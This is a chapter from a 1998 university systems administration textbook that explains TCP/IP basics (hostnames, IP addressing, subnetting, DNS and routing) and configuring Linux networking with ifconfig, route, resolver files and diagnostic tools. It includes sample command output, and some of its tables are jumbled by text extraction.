Before going any further it is necessary to introduce some of the basic concepts related to TCP/IP networks. An understanding of these concepts is essential for the next steps in connecting a Linux machine to a network. The concepts introduced in the following includes hostnames Every machine (also known as a host) on the Internet has a name. This section introduces hostnames and related concepts. IP addresses Each network interface on the network also has a unique IP address. This section discusses IP addresses, the components of an IP address, subnets, network classes and other related issues. Name resolution Human beings use hostnames while the IP protocols use IP addresses. There must be a way, name resolution, to convert hostnames into IP addresses. This section looks at how this is achieved. Routing When network packets travel from your computer to a Web site in the United States there are normally a multitude of different paths that packet can take. The decisions about which path it takes are performed by a routing algorithm. This section briefly discusses how routing occurs.

Hostnames
Most computers on a TCP/IP network are given a name, usually known as a host name (a computer can be known as a host). The hostname is usually a
David Jones, Bruce Jamieson (15/10/98) Page 329

85321, Systems Administration

Chapter 15: Networks: The Connection

simple name used to uniquely identify a computer within a given site. A fully qualified Internet host name, also known as a fully qualified domain name (FQDN), uses the following format
hostname.site.domain.country

hostname A name by which the computer is known. This name must be unique to the site on which the machine is located. site A short name given to the site (company, University, government department etc) on which the machine resides. domain Each site belongs to a specific domain. A domain is used to group sites of similar purpose together. Table 15.1 provides an example of some domain names. Strictly speaking a domain name also includes the country. country Specifies the actual country in which the machine resides. Table 15.2 provides an example of some country names. You can see a list of the country codes at http://www.bcpl.net/~jspath/isocodes.html For example the CQU machine jasper's fully qualified name is jasper.cqu.edu.au, where jasper is the hostname, cqu is the site name, the domain is edu and the country is au. Domain
edu com gov net

Purpose Educational institution, university or school Commercial company Government department Networking companies
Example Table 1 5 .1 Inte r ne t do mains

Country code Country nothing or us United States au Australia uk United Kingdom in India ca Canada fr France
Table 1 5 .2 Example Co untr y Co de s

hostname Under Linux the hostname of a machine is set using the hostname command. Only the root user can set the hostname. Any other user can use the hostname command to view the machine's current name.
root@faile david]# hostname faile.cqu.edu.au [root@faile david]# hostname fred
David Jones, Bruce Jamieson (15/10/98) Page 330

85321, Systems Administration

Chapter 15: Networks: The Connection

[root@faile david]# hostname fred

Changes to the hostname performed using the hostname command will not apply after you reboot a RedHat 5.0 Linux computer. RedHat 5.0 sets the hostname during startup from one of its configuration files, /etc/sysconfig/network This is the file which is changed by the GUI tools provided with RedHat. If you wish a change in hostname to be retained after you reboot you will have to change this file.

Qualified names
jasper.cqu.edu.au is a fully qualified domain name and uniquely identifies the machine jasper on the CQU campus to the entire Internet. There cannot be another machine called jasper at CQU. However there could be another machine called jasper at James Cook University in Townsville (its fully qualified name would be jasper.jcu.edu.au). A fully qualified name must be unique to the entire Internet. Which implies every hostname on a site should be unique. Not qualified It is not always necessary to specify a fully qualified name. If a user on aldur.cqu.edu.au enters the command telnet jasper the networking software assumes that because it isn't fully qualified hostname the user means the machine jasper on the current site (cqu.edu.au).

IP/Internet Addresses
Alpha-numeric names, like hostnames, cannot be handled efficiently by computers, at least not as efficiently as numbers. For this reason, hostnames are only used for us humans. The computers and other equipment involved in TCP/IP networks use numbers to identify hosts on the Internet. These numbers are called IP addresses. This is because it is the Internet Protocol (IP) which provides the addressing scheme. IP addresses are currently 32 bit numbers, IPv6 the next generation of IP uses 128 bit address. IP addresses are usually written as four numbers separated by full stops (called dotted decimal form) e.g. 132.22.42.1. Since IP addresses are 32 bit numbers, each of the numbers in the dotted decimal form are restricted to between 0-255 (32 bits divide by 4 numbers gives 8 bits per number and 255 is the biggest number you can represent using 8 bits). This means that 257.33.33.22 is an invalid address.

David Jones, Bruce Jamieson (15/10/98)

Page 331

85321, Systems Administration

Chapter 15: Networks: The Connection

Dotted Quad to Binary The address 132.22.42.1 in dotted decimal form is actually stored on the computer as 10000100 00010110 00101010 00000001. Each of the four decimal numbers represent one byte of the final binary number 132 = 10000100 22 = 00010110 42 = 00101010 1 = 00000001 The conversion from dotted quad to binary (and back again) is important for some of the following concepts. Networks and hosts An IP address actually consists of two parts a network portion, and This is used to identify the network that the machine belongs to. Hosts on the same network will have this portion of the IP address in common. This is one of the reasons why IP masquerading is required for mobile computers (e.g. laptops). If you move a computer to a different network you must give it a different IP address which includes the network address of the new network it is connected to. the host portion. This is the part which uniquely identifies the host on the network. The network portion of the address forms the high part of the address (the bit that appears on the left hand side of the number). The size of the network and host portions of an IP address is specified by another 32 bit number called the netmask (also known as the subnet mask). To calculate which part of an IP address is the network and which the host the IP address and the subnet mask are treated as binary numbers (see diagram 15.?). Each bit of the subnet mask and the IP address are compared and if the bit is set in both the IP address and the subnet mask then the bit is set in the network address, if the bit is set in the IP address but not set in the subnet mask then the bit is set in the host address. For example
IP address netmask 138.77.37.21 255.255.255.0 10001010 01001101 00100101 00010101 11111111 11111111 11111111 00000000

network address 138.77.37.0 10001010 01001101 00100101 00000000 host address 0.0.0.21 00000000 00000000 00000000 00010101

David Jones, Bruce Jamieson (15/10/98)

Page 332

85321, Systems Administration

Chapter 15: Networks: The Connection

The Internet is a network of networks

The structure of IP addresses can give you some idea of how the Internet works. It is a network of networks. You start with a collection of machines all connected via the same networking hardware, a local area network. All the machines on this local area network will have the same network address, each machine also has a unique host address. The Internet is formed by connecting a lot of local area networks together. For example In Figure 15.1 there are two networks, 138.77.37.0 and 138.77.36.0. These are two networks on the Rockhampton campus of Central Queensland University and both use ethernet as their networking hardware. This means that when a computer on the 37 subnet (the network with the network address 138.77.37.0) wants to send information to another computing on the 37 subnet it simply uses the characteristics of ethernet. The information is placed on the ethernet network and gets delivered. However, if the machine 138.77.37.37 wants to send information to the machine 138.77.36.15 it's a bit more complex. Since both computers are on separate networks the machine 138.77.37.37 just can't send information to the machine 138.77.36.15. Instead it has to use a gateway machine (only rarely is the gateway machine a computer but it can be). The gateway machine actually has two network connections. One connection to the 138.77.37.0 network and the other to the 138.77.36.0 network. It is via this dual connection that the gateway acts as the connection between the two networks. The gateway knows that it should grab any and all packets on the 138.77.36.0 network destined for the 138.77.37.0 network (and vice versa). When it grabs these packets the gateway machine transfers them from the network device connected to the sending network to the network device connected to the receiving network.

David Jones, Bruce Jamieson (15/10/98)

Page 333

85321, Systems Administration

Chapter 15: Networks: The Connection

Fig ur e 1 5 .1 simple g ate way

This process is repeated for other networks. Each network is then connected to each other via devices called routers, or perhaps gateways. This is a very simple example. Assigning IP addresses Some IP addresses are reserved for specific purposes and you should not assign these addresses to a machine. Table 15.3 lists some of these addresses Address xx.xx.xx.0 xx.xx.xx.1 xx.xx.xx.255 127.0.0.1
* this is

Purpose network address gateway address * broadcast address loopback address

no t a se t standar d

Table 1 5 .3 Re se r v e d IP addr e sse s

As mentioned above 127.0.0.1 is a special IP address. It refers to the local host. The local host allows software to address the local machine in exactly the same way it would address a remote machine. For those of you without network connections the localhost will be the only method you can use to experiment with the concepts introduced in this and the following chapter. As shown in the previous examples gateways and routers are able to distribute data from one network to another because they are actually physically connected to two or more networks through a number of network interfaces. Figure 15.1 provides a representation of this. The machine in the middle, the gateway machine, has two network interfaces. One has the IP address 138.77.37.1 and the other 138.77.36.1 (it's common practice for a networks gateway machine to have the host id 1, but by no means compulsory).

David Jones, Bruce Jamieson (15/10/98)

Page 334

85321, Systems Administration

Chapter 15: Networks: The Connection

By convention the network address is the IP address with a host address that is all 0's. The network address is used to identify a network. The broadcast address is the IP address with the host address set to all 1's and is used to send information to all the computers on a network, typically used for routing and error information. Network Classes During the development of the TCP/IP protocol stack IP addresses were divided into classes. There are three main address classes, A, B and C. Table 15.4 summarises the differences between the three classes. The class of an IP address can be deduced by the value of the first byte of the address.

Class A B C Multicast

First byte value 1 to 126 128 to 191 192 to 223 224 239

Netmask 255.0.0.0 255.255.0.0 255.255.255.0 240.0.0.0

Number of hosts 16 million 64,000 254

Table 1 5 .4 Ne two r k c lasse s

If you plan on setting up a network that is connected to the Internet the addresses for your network must be allocated to you by central controlling organisation. You can't just choose any set of addresses you wish, chances are they are already taken my some other site. If your network will not be connected to the Internet you can choose from a range of addresses which have been set aside for this purpose. These addresses are shown in Table 15.5

Network class A B C
Ne two r ks

Addresses 10.0.0.0 to 10.255.255.255 172.16.0.0 to 172.31.255.255 192.168.0.0 to 192.168.255.255

Table 1 5 .5 r e se r v e d fo r pr iv ate ne two r ks

Subnets Central Queensland University has a class B network address, 138.77.0.0. This would imply that you could make the following assumptions about the IP address 138.77.1.1. The network address is 138.77.0.0 and that the host address is 1.1, this is after all how a class B address is defined. If you did make these implications you would be wrong. CQU has decided to break its available IP addresses into further networks, called subnets. Subnetting works by moving the dividing line between the network address bits and the host address bits. Instead of using the first two

David Jones, Bruce Jamieson (15/10/98)

Page 335

85321, Systems Administration

Chapter 15: Networks: The Connection

bytes for the network address CQU uses subnetting to use the first three bytes. This is achieved by setting the netmask to 255.255.255.0. This means that the address 138.77.1.1 actually breaks up into a network address 138.77.1.0 and a host address of 1. The network 138.77.1.0 is said to be a subnet of the larger 138.77.0.0 network. Why subnet? Subnetting is used for a number of reasons including security reasons, Using ethernet all hosts on the same network can see all the packets on the network. So it makes sense to put the computers in student labs on a different network to the computer on which student results are placed. physical reasons, Networking hardware, like ethernet, has physical limitations. You can't put machines on the Mackay campus on the same network as machines on the Rockhampton campus (they are separated by about 300 kilometers). political reasons, and There may be departments or groups within an organisation that have unique needs or want to control their own network. This can be achieved by subnetting and allocating them their own network. hardware and software differences. Someone may wish to use completely different networking hardware and software. "Strange" subnets Generally subnet masks are byte oriented, for example 255.255.255.0. This means that divide between the network portion of the address and the host portion occurs on a byte boundary. However it is possible and sometimes necessary to use bit-oriented subnet masks, for example 255.255.255.224. Bit oriented implies that this division occurs within a byte. For example a small company with a class C Internet address might use the subnet mask 255.255.255.224.

Exercises
15.1

Complete the following table by calculating the network and host addresses. (refer back to the example earlier in the chapter)

David Jones, Bruce Jamieson (15/10/98)

Page 336

85321, Systems Administration

Chapter 15: Networks: The Connection

IP address
178.86.11.1 230.167.16.132 132.95.132.5

Subnet mask
255.255.255.0 255.255.255.192 255.255.240.0

Network address

Host address

Name resolution
We have a problem. People will use hostnames to identify individual computers on the network while the computers use the IP address. How are the two reconciled. When you enter http://www.lycos.com/ on your WWW browser the first thing the networking software must do is find the IP address for www.lycos.com. Once it has the IP address it can connect to that machine and download the WWW pages. The process of taking a hostname and finding the IP address is called name resolution. Methods of name resolution There are two methods that can be used to perform name resolution the /etc/hosts file, and the Domain Name Service. /etc/hosts One way of performing name resolution is to maintain a file that contains a list of hostnames and their equivalent IP addresses. Then when you want to know a machine's IP address you look up the file. Under UNIX the file is /etc/hosts. /etc/hosts is a text file with one line per host. Each line has the format
IP_address hostname aliases

Comments can be indicated by using the hash # symbol. Aliases are used to indicate shorter names or other names used to refer to the same host. For example For example the hosts file of the machine aldur looks like this
# every machine 127.0.0.1 138.77.36.29 138.77.1.1 138.77.37.28 has the localhost localhost aldur.cqu.edu.au jasper.cqu.edu.au pol.cqu.edu.au entry loopback aldur jasper pol

David Jones, Bruce Jamieson (15/10/98)

Page 337

85321, Systems Administration

Chapter 15: Networks: The Connection

Problems with /etc/hosts When a user on aldur enters the command telnet jasper.cqu.edu.au the software first looks in the hosts file for an entry for jasper. If it finds an entry it obtains jasper's IP address and then can execute the command. What happens if the user enters the command telnet knuth. There isn't an entry for knuth in the hosts file. This means the IP address of knuth can't be found and so the command can't succeed. One solution would be to add an entry in the hosts file for every machine the users of aldur wish to access. With over two million machines on the Internet it should be obvious that this is not a smart solution. Domain name service (DNS) The following reading on the DNS was taken from http://www.aunic.net/dns.html In the early days of the Internet, all host names and their associated IP addresses were recorded in a single file called hosts.txt, maintained by the Network Information Centre in the USA. Not surprisingly, as the Internet grew so did this file, and by the mid-80's it had become impractically large to distribute to all systems over the network, and impossible to keep up to date. The Internet Domain Name System (DNS) was developed as a distributed database to solve this problem. Its primary goal is to allow the allocation of host names to be distributed amongst multiple naming authorities, rather than centralised at a single point. DNS structure The DNS is arranged as a hierarchy, both from the perspective of the structure of the names maintained within the DNS, and in terms of the delegation of naming authorities. At the top of the hierarchy is the root domain "." which is administered by the Internet Assigned Numbers Authority (IANA). Administration of the root domain gives the IANA the authority to allocate

domains beneath the root, as shown in the diagram below:

David Jones, Bruce Jamieson (15/10/98)

Page 338

85321, Systems Administration

Chapter 15: Networks: The Connection

The process of assigning a domain to an organisational entity is called delegating, and involves the administrator of a domain creating a sub-domain and assigning the authority for allocating sub-domains of the new domain the subdomain's administrative entity. This is a hierarchical delegation, which commences at the "root" of the Domain Name Space ("."). A fully qualified domain name, is obtained by writing the simple names obtained by tracing the DNS hierarchy from the leaf nodes to the root, from left to right, separating each name with a stop ".", eg.
fred.xxxx.edu.au

is the name of a host system (huxley) within the XXXX University (xxx), an educational (edu) institution within Australia (au). The sub-domains of the root are known as the top-level domains, and include the edu (educational), gov (government), and com (commercial) domains. Although an organisation anywhere in the world can register beneath these three-character top level domains, the vast majority that have are located within, or have parent companies based in, the United States. The top-level domains represented by the ISO two-character country codes are used in most other countries, thus organisations in Australia are registered beneath au. The majority of country domains are sub-divided into organisational-type subdomains. In some countries two character sub-domains are created (eg. ac.nz for New Zealand academic organisations), and in others three character subdomains are used (eg. com.au for Australian commercial organisations). Regardless of the standard adopted each domain may be delegated to a separate authority. Organisations that wish to register a domain name, even if they do not plan to establish an Internet connection in the immediate short term, should contact the administrator of the domain which most closely describes their activities. Even though the DNS supports many levels of sub-domains, delegations should only be made where there is a requirement for an organisation or organisational sub-division to manage their own name space. Any sub-domain administrator must also demonstrate they have the technical competence to operate a domain name server (described below), or arrange for another organisation to do so on their behalf. Domain Name Servers The DNS is implemented as collection of inter-communicating nameservers. At any given level of the DNS hierarchy, a nameserver for a domain has knowledge of all the immediate sub-domains of that domain. For each domain there is a primary nameserver, which contains authoritative information regarding Internet entities within that domain. In addition Secondary nameservers can be configured, which periodically download authoritative data from the primary server. Secondary nameservers provide backup to the primary nameserver when it is not operational, and further improve the overall performance of the DNS, since the nameservers of a
David Jones, Bruce Jamieson (15/10/98) Page 339

85321, Systems Administration

Chapter 15: Networks: The Connection

domain that respond to queries most quickly are used in preference to any others.
/etc/resolv.conf

When performing a name resolution most UNIX machines will check their /etc/hosts first and then check with their name server. How does the machine know where its domain name server is. The answer is in the /etc/resolv.conf file. resolv.conf is a text file with three main types of entries # comments Anything after a # is a comment and ignored. domain name Defines the default domain. This default domain will be appended to any hostname that does not contain a dot. nameserver address This defines the IP address of the machines domain name server. It is possible to have multiple name servers defined and they will be queried in order (useful if one goes down). For example The /etc/resolv.conf file from my machine is listed below.
domain cqu.edu.au nameserver 138.77.5.6 nameserver 138.77.1.1

Routing
So far we've looked at names and addresses that specify the location of a host on the Internet. We now move onto routing. Routing is the act of deciding how each individual datagram finds its way through the multiple different paths to its destination. Simple routing For most UNIX computers the routing decisions they must make are simple. If the datagram is for a host on the local network then the data is placed on the local network and delivered to the destination host. If the destination host is on a remote network then the datagram will be forwarded to the local gateway. The local gateway will then pass it on further. However, a network the size of the Internet cannot be constructed with such a simple approach. There are portions of the Internet where routing is a much more complex business, too complex to be covered as a portion of one week of a third year unit. Routing tables

David Jones, Bruce Jamieson (15/10/98)

Page 340

85321, Systems Administration

Chapter 15: Networks: The Connection

Routing is concerned with finding the right network for a datagram. Once the right network has been found the datagram can be delivered to the host. Most hosts (and gateways) on the Internet maintain a routing table. The entries in the routing table contain the information to know where to send datagrams for a particular network. Constructing the routing table The routing table can be constructed in one of two ways constructed by the Systems Administrator, sometimes referred to as static routes, dynamically created by a number of different available routing protocols The dynamic creation by routing protocols is complex and beyond the scope of this subject.

Exercises
15.2

Why is the name server in /etc/resolv.conf specified using an IP address and not a hostname?

Making the connection

This chapter, until now, has been introducing all the basic information you need to understand in order to connect your Linux computer to a network. In the following section we put this knowledge into practice by stepping through the actual connection process. Initially we do this process at the command level so you understand what is happening. Later on the GUI tools available under RedHat 5.0 are introduced. Having reached this stage it is assumed that you have connected (or inserted) your networking hardware (in)to your computer and have (if necessary) recompiled the kernel to provide the necessary networking support.

Configuring the device/interface

Earlier in the chapter the concept of a network device was introduced. The following section examines what is required to configure the network device so that it operates. Configuring the network device draws on some of the basic TCP/IP concepts introduced in previous sections. One of the common complaints from UNIX Systems Administrators who move into administering Windows 95/NT machines is that to reconfigure (a common task which requires reconfiguring the network interface is changing the IP address) the network device on a Windows machine you have to reboot the entire machine. They are used to UNIX where you can

David Jones, Bruce Jamieson (15/10/98)

Page 341

85321, Systems Administration

Chapter 15: Networks: The Connection

bring network devices up and down without effecting anything (apart from the networking software), no need to reboot. The loopback device/interface The loopback device is a special case. It is always present and is used to provide access to your own machine. Even if you do not have a network connection you will be able to use the loopback interface to test some of the basic networking services. The loopback interface always has the IP address 127.0.0.1. Whenever you use the IP address 127.0.0.1 you are connecting to your own computer. ifconfig Network interfaces are configured using the ifconfig command and has the standard format for turning a device on
ifconfig device_name IP_address netmask netmask up

For example ifconfig eth0 138.77.37.26 netmask 255.255.255.0 up Configures the first ethernet address with the IP address of 138.77.37.26 and the netmask of 255.255.255.0. ifconfig lo 127.0.0.1 Configures the loopback address appropriately. Other parameters for the ifconfig command include up and down These parameters are used to take the device up and down (turn it on and off). ifconfig eth0 down will disable the eth0 interface and will require an ifconfig command like the first example above to turn it back on. -arp Will turn on/off the address resolution protocol for the specified interface. -pointtopoint addr Used to specify the IP address (addr) of the computer at the far end of a point to point link.

Configuring the name resolver

Once the device/interface is configured you can start using the network. However you'll only be able to use IP addresses. At this stage the networking system on your computer will not know how to resolve hostnames (convert hostnames into IP addresses). So if I was configuring a machine on the 138.77.37 subnet (this is the student subnet in the IT building) at CQU I would be able to execute commands like
telnet 138.77.37.37

but I would not be able to execute commands such as

telnet cq-pan.cqu.edu.au

David Jones, Bruce Jamieson (15/10/98)

Page 342

85321, Systems Administration

Chapter 15: Networks: The Connection

Even though the IP address for the machine cq-pan.cqu.edu.au is 138.77.37.37 the networking on my machine doesn't know how to do the translation. This is where the name resolver and its associated configuration files enter the picture. In particular the three files we'll be looking at are /etc/resolv.conf Specifies where the main domain name server is located for your machine. /etc/hosts.conf Allows you to specify how the name resolver will operate. For example, will it ask the domain name server first or look at a local file. /etc/hosts A local file which specifies the IP/hostname association between common or local computers. The following is an excerpt from the NET-3 HOW-TO which describes these files in a bit more detail. /etc/resolv.conf The /etc/resolv.conf is the main configuration file for the name resolver code. Its format is quite simple. It is a text file with one keyword per line. There are three keywords typically used, they are: domain this keyword specifies the local domain name. search this keyword specifies a list of alternate domain names to search for a hostname nameserver this keyword, which may be used many times, specifies an IP address of a domain name server to query when resolving names An example /etc/resolv.conf might look something like:
domain maths.wu.edu.au search maths.wu.edu.au wu.edu.au nameserver 192.168.10.1 nameserver 192.168.12.1

This example specifies that the default domain name to append to unqualified names (ie hostnames supplied without a domain) is maths.wu.edu.au and that if the host is not found in that domain to also try the wu.edu.au domain directly. Two nameservers entry are supplied, each of which may be called upon by the name resolver code to resolve the name. /etc/host.conf The /etc/host.conf file is where you configure some items that govern the behaviour of the name resolver code. The format of this file is described in detail in the resolv+ man page. In nearly all circumstances the following example will work for you:

David Jones, Bruce Jamieson (15/10/98)

Page 343

85321, Systems Administration

Chapter 15: Networks: The Connection

order hosts,bind

multi on This configuration tells the name resolver to check the /etc/hosts file before attempting to query a nameserver and to return all valid addresses for a host found in the /etc/hosts file instead of just the first. /etc/hosts The /etc/hosts file is where you put the name and IP address of local hosts. If you place a host in this file then you do not need to query the domain name server to get its IP Address. The disadvantage of doing this is that you must keep this file up to date yourself if the IP address for that host changes. In a well managed system the only hostnames that usually appear in this file are an entry for the loopback interface and the local hosts name.
# /etc/hosts 127.0.0.1 192.168.0.1 localhost loopback this.host.name

You may specify more than one host name per line as demonstrated by the first entry, which is a standard entry for the loopback interface.

Configuring routing
Having performed each of the preceding steps the networking on your computer will still not be working 100% correctly. For example, assume I'm adding a machine to the 138.77.37 subnet at CQU with the IP address as 138.77.37.105 and the hostname fred. I've configured the network interface and set up the following files (For the following discussion it is important to realise that CQU has a class B address, 138.77, and creates subnets which look like class C address, i.e. 138.77.37, 138.77.1 and 138.77.5 are all separate subnets) /etc/resolv.conf
search cqu.edu.au nameserver 138.77.5.6 nameserver 138.77.1.23

/etc/host.conf order hosts,bind multi on /etc/hosts /etc/hosts

127.0.0.1 localhost 138.77.37.105 fred 138.77.37.37 cq-pan localhost.localdomain fred.cqu.edu.au cq-pan.cqu.edu.au

Now, see what happens when I execute the following commands

[david@fred david]$ ping cq-pan.cqu.edu.au PING cq-pan.cqu.edu.au (138.77.37.37): 56 data bytes 64 bytes from 138.77.37.37: icmp_seq=0 ttl=63 time=1.1 ms

David Jones, Bruce Jamieson (15/10/98)

Page 344

85321, Systems Administration

Chapter 15: Networks: The Connection

64 bytes from 138.77.37.37: icmp_seq=1 ttl=63 time=1.0 ms 64 bytes from 138.77.37.37: icmp_seq=2 ttl=63 time=1.0 ms

--- cq-pan.cqu.edu.au ping statistics --3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 1.0/1.0/1.1 ms

[root@fred network-scripts]# ping jasper.cqu.edu.au ping: unknown host jasper.cqu.edu.au

Why the difference? We've setup the name resolution configuration files properly so why can't it resolve the name jasper.cqu.edu.au to the IP address 138.77.1.1? Have a look at the IP addresses of the domain name servers specified in the /etc/resolv.conf file above? What can you tell about these hosts? The major difference between the domain name servers and our new host fred is that they are on separate subnets. At this stage our host has not been told how it is meant to send information from its own subnet to other subnets (remember the discussion earlier in the chapter about arp and ethernet being a broadcast medium?). fred.cqu.edu.au is able to use the cq-pan.cqu.edu.au hostname because it is specified in the /etc/hosts file and it can send information to that machine because it is on the same subnet. Because the domain name servers are on another subnet the networking software on the machine doesn't know how to communicate with them. An example of what happens can be seen in the following command where rather than use jasper.cqu.edu.au's hostname we use the IP address.
[david@fred david]$ ping 138.77.1.1 PING 138.77.1.1 (138.77.1.1): 56 data bytes ping: sendto: Network is unreachable ping: wrote 138.77.1.1 64 chars, ret=-1 ping: sendto: Network is unreachable ping: wrote 138.77.1.1 64 chars, ret=-1 --- 138.77.1.1 ping statistics --2 packets transmitted, 0 packets received, 100% packet loss

The solution to this problem is to configuring the routing software on our computer. Routing is the art of deciding how to send IP packets from one host to another, particularly where there are possibly multiple paths that could be used. In our example above we have to specify how the networking software is to deliver IP packets from our current subnet, 138.77.37, to other subnets. Routing is a huge and complex topic. It is not possible to provide a detailed introduction in the confines of this text. If you need more information you should take a look at the NET-3 HOW-TO, the Network Administrators Guide and other documentation. The following is an excerpt from the NET-3 HOWTO which briefly describes the routing table and the commands used to manipulate it. Ok, so how does routing work ? Each host keeps a special list of routing rules, called a routing table. This table contains rows which typically contain at least
David Jones, Bruce Jamieson (15/10/98) Page 345

85321, Systems Administration

Chapter 15: Networks: The Connection

three fields, the first is a destination address, the second is the name of the interface to which the datagram is to be routed and the third is optionally the IP address of another machine which will carry the datagram on its next step through the network. In Linux you can see this table by using the following command:
# cat /proc/net/route

or by using either of the following commands:

# /sbin/route -n # /bin/netstat -r

The routing process is fairly simple: an incoming datagram is received, the destination address (who it is for) is examined and compared with each entry in the table. The entry that best matches that address is selected and the datagram is forwarded to the specified interface. If the gateway field is filled then the datagram is forwarded to that host via the specified interface, otherwise the destination address is assumed to be on the network supported by the interface. To manipulate this table a special command is used. This command takes command line arguments and converts them into kernel system calls that request the kernel to add, delete or modify entries in the routing table. The command is called `route'. A simple example. Imagine you have an ethernet network. You've been told it is a class-C network with an address of 192.168.1.0. You've been supplied with an IP address of 192.168.1.10 for your use and have been told that 192.168.1.1 is a router connected to the Internet. The first step is to configure the interface as described earlier. You would use a command like:
# ifconfig eth0 192.168.1.10 netmask 255.255.255.0 up

You now need to add an entry into the routing table to tell the kernel that datagrams for all hosts with addresses that match 192.168.1.* should be sent to the ethernet device. You would use a command similar to:
# route add -net 192.168.1.0 netmask 255.255.255.0 eth0

Note the use of the `-net' argument to tell the route program that this entry is a network route. Your other choice here is a `-host' route which is a route that is specific to one IP address. This route will enable you to establish IP connections with all of the hosts on your ethernet segment. But what about all of the IP hosts that aren't on your ethernet segment ? It would be a very difficult job to have to add routes to every possible destination network, so there is a special trick that is used to simplify this task. The trick is called the `default' route. The default route matches every possible destination, but poorly, so that if any other entry exists that matches the required address it will be used instead of the default route. The idea of the

David Jones, Bruce Jamieson (15/10/98)

Page 346

85321, Systems Administration

Chapter 15: Networks: The Connection

default route is simply to enable you to say "and everything else should go here". In the example I've contrived you would use an entry like:
# route add default gw 192.168.1.1 eth0

The `gw' argument tells the route command that the next argument is the IP address, or name, of a gateway or router machine which all datagrams matching this entry should be directed to for further routing. So, your complete configuration would look like:
# ifconfig eth0 192.168.1.10 netmask 255.255.255.0 up # route add -net 192.168.1.0 netmask 255.255.255.0 eth0 # route add default gw 192.168.1.1 eth0

These steps are actually performed automatically by the startup files on a properly configured Linux box.

Startup files
In the previous section we've looked at the individual steps used to configuring networking on a simple Linux machine. On a normal Linux machine these steps are performed automatically in the system startup files (refer back to chapter 12 for a discussion on these). While the commands introduced in the previous section are standard Linux/UNIX commands the startup and associated configuration files used by RedHat 5.0 are different from other systems. This section briefly summarises the startup files which are used on a RedHat 5.0 machine. The files used include /etc/sysconfig/network A text file which defines shell variables for hostname, domain, gateway and gateway device. /etc/sysconfig/network-scripts A collection of scripts used to perform common tasks including bringing network interfaces up and down. /etc/rc.d/init.d/network A shell script which actually brings up the networking on startup. Linked to from a number of scripts in the rcX.d directories. A more indepth explanation of the files in the /etc/sysconfig directory can be found under the resource materials section for week 8 on the 85321 Web site.

Network management tools

You might ask, "Why the hell are we playing with all these text files and commands? Why can't we just use the nice GUI tools that come with RedHat". The simple answer is that knowing how to use a GUI tool isn't all that difficult, anyone can learn that. What's important for a computing professional, like a Systems Administrator, to know is what is going on underneath. There will be times when the GUI doesn't work or the problem you have can't be solved with

David Jones, Bruce Jamieson (15/10/98)

Page 347

85321, Systems Administration

Chapter 15: Networks: The Connection

the GUI. It is at times like this that you will need to understand what is going on underneath. Having said that it can be a lot quicker to perform simple tasks using a GUI than with text files and a command line (depending on your personal preference). The following section introduces the GUI tools RedHat provides to manage and configure networking and also looks at a couple of other useful commands UNIX provides.

RedHat GUI Networking Tools

RedHat supplies a number of GUI administration tools which are all launched from the control-panel application by typing control-panel from a shell (you must be running X-Windows as control-panel is an X application). Each of the icons in the control panel window correspond to one of the GUI tools. Holding the mouse over the icon will cause it to display the name of the tool. Of particular interest to this chapter is the network configuration tool which allows you to configure the hosts, name servers, devices and routing for your system.

nslookup
The nslookup command is used to query a name server and is supplied as a debugging tool. It is generally used to determine if the name server is working correctly and for querying information from remote servers. nslookup can be used from either the command line or interactively. Giving nslookup a hostname will result in it asking the current domain name server for the IP address of that machine. nslookup also has an ls command that can be used to view the entire records of the current domain name server. For example
[david@cq-pan:~]$ nslookup Default Server: circus.cqu.edu.au Address: 138.77.5.6 > jasper Server: circus.cqu.edu.au Address: 138.77.5.6 Name: jasper.cqu.edu.au Address: 138.77.1.1 > exit [david@cq-pan:~]$ nslookup jasper Server: circus.cqu.edu.au Address: 138.77.5.6 Name: jasper.cqu.edu.au Address: 138.77.1.1

David Jones, Bruce Jamieson (15/10/98)

Page 348

85321, Systems Administration

Chapter 15: Networks: The Connection

netstat

netstat
The netstat command is used to display the status of network connections to a UNIX machine. One of the functions it can be used for is to display the contents of the kernel routing table by using the -r switch. For example The following examples are from two machines on CQU's Rockhampton campus. The first one is from telnet jasper
[david@cq-pan:~]$ netstat -rn Kernel routing table Destination Gateway Genmask 138.77.37.0 0.0.0.0 255.255.255.0 127.0.0.0 0.0.0.0 255.0.0.0 0.0.0.0 138.77.37.1 0.0.0.0 bash$ netstat -rn Routing tables Destination Gateway Flags 127.0.0.1 127.0.0.1 UH default 138.77.1.11 UG 138.77.32 138.77.1.11 UG 138.77.16 138.77.1.11 UG 138.77.8 138.77.1.11 UG 138.77.80 138.77.1.11 UG 138.77.72 138.77.1.11 UG 138.77.64 138.77.1.11 UG 138.77.41 138.77.1.11 UG

Flags U U UG

Metric 0 0 0

Ref Use Iface 0 109130 eth0 0 9206 lo 0 2546951 eth0 Interface lo0 ln0 ln0 ln0 ln0 ln0 ln0 ln0 ln0

Refcnt 56 23 0 0 0 0 0 0 0

Use 7804440 1595585 19621 555 385345 0 0 0 0

traceroute
For some reason or another, users on one machine cannot connect to another machine or if they can any information transfer between the two machines is either slow or plagued by errors. What do you do? Remember it is not only the machines at the two ends you have to check. If the two machines are on different networks the information will flow through a number of gateways and routers. It might be one of the gateway machines that is causing the problem. The traceroute command provides a way of discovering the path taken by information as it goes from one machine to another and can be used to identify where problems might be occurring. On the Internet that path may not always be the same. For example The following are the results of a number of executions of traceroute from the machine aldur (138.77.36.29). In the first example the machine knuth is on the same network as aldur. This means that the information can get their directly.

David Jones, Bruce Jamieson (15/10/98)

Page 349

85321, Systems Administration

Chapter 15: Networks: The Connection

bash$ traceroute knuth traceroute to knuth.cqu.edu.au (138.77.36.20), 30 hops max, 40 byte packets 1 knuth.cqu.EDU.AU (138.77.36.20) 2 ms 2 ms 2 ms

jasper is one network away from aldur

bash$ traceroute jasper traceroute to jasper.cqu.edu.au (138.77.1.1), 30 hops max, 40 byte packets 1 centaurus.cqu.EDU.AU (138.77.36.1) 1 ms 1 ms 1 ms 2 jasper.cqu.EDU.AU (138.77.1.1) 2 ms 1 ms 1 ms

A machine still on the CQU site but a little further away

bash$ traceroute jade traceroute to jade.cqu.edu.au (138.77.7.2), 30 hops max, 40 byte packets 1 centaurus.cqu.EDU.AU (138.77.36.1) 1 ms 1 ms 1 ms 2 hercules.cqu.EDU.AU (138.77.5.3) 4 ms 2 ms 12 ms 3 jade.cqu.EDU.AU (138.77.7.2) 3 ms 13 ms 3 ms

A host still in Australia (but a long way from CQU)

